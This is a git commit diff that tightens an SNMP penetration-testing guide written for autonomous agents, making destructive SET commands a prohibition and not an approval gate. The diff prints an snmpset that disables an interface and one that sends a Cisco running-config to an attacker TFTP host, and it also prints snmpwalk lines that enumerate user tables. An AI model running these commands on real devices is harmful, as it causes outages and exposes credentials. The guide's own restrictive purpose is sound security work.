fix(skills): make destructive SNMP SETs a prohibition, not an approval gate

The system prompt instructs agents never to ask for or wait for
approval, so an operator-approval callout does not gate anything.
Interface shutdown and TFTP config transfer are now marked reference
only and never executed autonomously; write access is established with
the benign sysContact SET and the rest is reported, not demonstrated.
This commit is contained in:
sandiyochristan 2026-08-13 01:18:10 +05:30
parent 41d2e24db2
commit b074a54550

View file

@ -130,7 +130,7 @@ snmpwalk -v2c -c <community> <target> 1.3.6.1.4.1.77.1.2.25 # winUserTable
If a write community string (`private`, `write`, etc.) is found:
> **Operator approval required for all write operations below.** Autonomous agents must NOT execute destructive SNMP SET commands without explicit operator authorization. Use only the benign `sysContact` change (shown in the Validation section) for autonomous write-access confirmation.
> **Never execute the destructive SET commands below.** This is a hard prohibition on autonomous execution, not a request for approval — being in scope does not make an outage or a config exfiltration acceptable. The only SET an agent may issue is the benign `sysContact` change shown below, which must be restored afterwards. The destructive commands are documented so you can recognise and report the exposure; establish write access with `sysContact`, then report what the write community would permit. Do not demonstrate it.
**Safe Write Confirmation (autonomous)**
@ -155,16 +155,16 @@ snmpget -v2c -c <read_community> <target> 1.3.6.1.2.1.1.4.0
If the original `sysContact` was empty, restore it to an empty string (`s ""`). If step 1 fails, do not proceed with the SET — you cannot restore what you did not capture. Report the write finding with the evidence from step 3 and note that the value was restored.
**Destructive Operations (operator approval required)**
**Destructive Operations — document, never execute**
```bash
# ⚠️ DO NOT EXECUTE WITHOUT OPERATOR APPROVAL
# ⚠️ REFERENCE ONLY — never run autonomously; causes an outage
# Disable an interface (causes outage)
snmpset -v2c -c <write_community> <target> 1.3.6.1.2.1.2.2.1.7.<if_index> i 2
```
**TFTP Configuration Download — Cisco (operator approval required)**
**TFTP Configuration Download — Cisco (document, never execute)**
```bash
# ⚠️ DO NOT EXECUTE WITHOUT OPERATOR APPROVAL — extracts sensitive configuration
# ⚠️ REFERENCE ONLY — never run autonomously; exfiltrates sensitive configuration
# Trigger config backup to attacker TFTP server
snmpset -v2c -c <write_community> <target> 1.3.6.1.4.1.9.2.1.55.<attacker_ip> s running-config
```
@ -216,7 +216,7 @@ This retrieves the full router configuration including enable passwords, VPN key
1. **Community string confirmed** — Show successful snmpwalk output with the discovered community string; include sysDescr and sysName as proof
2. **Information disclosure** — Demonstrate specific sensitive data retrieved: user accounts, network topology, running processes, or credentials
3. **Write access** — Show successful snmpset changing a benign value (sysContact) and snmpget confirming the change, then restore the original value and confirm the restoration. **Do not modify operational parameters (interfaces, routes) without operator approval**
3. **Write access** — Show successful snmpset changing a benign value (sysContact) and snmpget confirming the change, then restore the original value and confirm the restoration. **Never modify operational parameters (interfaces, routes) — report the exposure instead of demonstrating it**
4. **v3 weakness** — Show noAuthNoPriv access or successful auth with weak/default credentials
5. Provide exact commands used and sanitized output